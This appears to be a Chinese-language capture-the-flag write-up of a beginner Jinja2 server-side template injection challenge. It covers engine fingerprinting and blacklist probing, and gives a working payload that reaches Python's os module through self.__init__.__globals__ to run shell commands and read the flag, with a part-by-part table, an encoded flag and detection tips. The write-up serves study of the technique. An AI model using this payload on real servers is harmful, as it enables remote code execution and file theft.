
這題是ssti的基礎題,我當初就是都丟給ai解沒打好基礎所以現在過不了SSTI2回來補
參考文章:
1.https://portswigger.net/web-security/server-side-template-injection
2.https://portswigger.net/research/server-side-template-injection
下面這張圖是解題思路
1.確認是否能注入
2.我注入的伺服器是什麼型別
3.確認是否有黑名單(檔關鍵字)
4.在伺服器裡面晃晃
5.達成目標 執行動作(ex:拿ctf)
1+2:
如果輸入${7*7}輸出49 分支往上
反之伺服器看不懂分支往下
這邊直接用這題ctf舉例
分支往下
試{{7*7}}
這邊確定是jinja2這一派的了(本題實際是用jinja2)
ps:{{7*'7'}} 是區分 Jinja2 vs Twig
jinja2會輸出:7777777
Twig會輸出:49
3:
把可能被黑名單得關鍵字都試一遍
{{ config }}
{{ self }}
{{ request }}
{{ ''.class }}
->這題是EZ沒有檔等我們到ssti2就會用到這個技巧了
先整理思路:
我確認是 Jinja2 → 後端是 Python,而且 Jinja2 函式庫本身的原始碼就會 import os 之類的模組(這是模板引擎正常運作需要的)→ 我透過 self/lipsum 這些 Jinja2 暴露出來的函式物件,拿到它的 globals(也就是它定義時所在那個 module 的全域變數),直接借用 Jinja2 自己已經 import 好的東西,間接取得執行系統指令的能力
這邊插入claude code給的ssti指令結構模板:
self / lipsum / cycler:路怎麼走到 os 模組(固定的幾種鑰匙,試哪一把能開門)'id' / 'ls -la' / 'cat /challenge/flag':到了之後要做什麼(這是你自由決定的,跟前面的鑰匙無關)
題目到這邊就是開始閒逛了 就像小偷已經溜進關門得超市這樣
這裡我用口述:
往上兩層後有一個challenge資料夾進去有一個flag
5.完成目標:{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cd /challenge && cat flag').read() }}
->
| 片段 | 類型 | 作用解釋 |
|---|---|---|
| self | Jinja2 內建全域變數 | 取得 self 這個物件的建構子(constructor)方法。init 本身是一個 function 物件 |
| .init | Python 內建屬性 | 取得 init 這個 function 被定義時所在的 module這個 module 內有 import 過哪些東西,這裡面都看得到 |
| .globals | Python 內建屬性 | 從上面那個全域字典中取出 builtins,它是 Python 內建函式表 |
| .builtins | 字典裡的 key | |
| .import('os') | Python 內建函式 | 呼叫內建的「動態 import」函式,在程式碼裡寫 import os,執行後回傳 os 這個模組物件 |
| .popen('cd /challenge && ls -la') | os 模組的方法 | 開啟一個子行程(shell),執行括號裡的這串系統 shell 指令 |
| .read() | 回傳物件的方法 | popen() 回傳的是一個檔案物件(代表指令的輸出流),呼叫 .read() 才能把輸出內容讀出來、顯示在網頁上 |

我把flag base64放這:YWNhZGVteXtzNHJ2M3JfczFkM190M21wMTR0M18xbmozY3QxMG41XzRyM19jMDAxX2RlZTBhMWE2fQ==
題目講解到這
下面來小小補充一些SSTI得技巧:
參考:https://portswigger.net/research/server-side-template-injection
tips1:
丟無效語法,看錯誤訊息:很多引擎的報錯會直接洩漏引擎名稱甚至版本
tips2:
Read 文件
讀模板引擎的官方文件,學基本語法
特別去找文件裡的「Security」章節——很多引擎的官方文件會自己列出「這些功能很危險,別讓使用者碰」,這其實等於官方幫你列好的 cheat sheet
tips3:
就算打不出 RCE,SSTI 還是有價值
tips4:
偵測技巧:
先丟 ?greeting=data.username<tag> → 如果沒被當 HTML 解析(代表沒有單純 XSS)
再試著用模板語法「跳出」原本的運算式:?greeting=data.username}}<tag>
如果 被當成 HTML 渲染出來(代表你成功用 }} 提前結束了模板運算式),就確認是 SSTI
下面歡迎友善討論0.0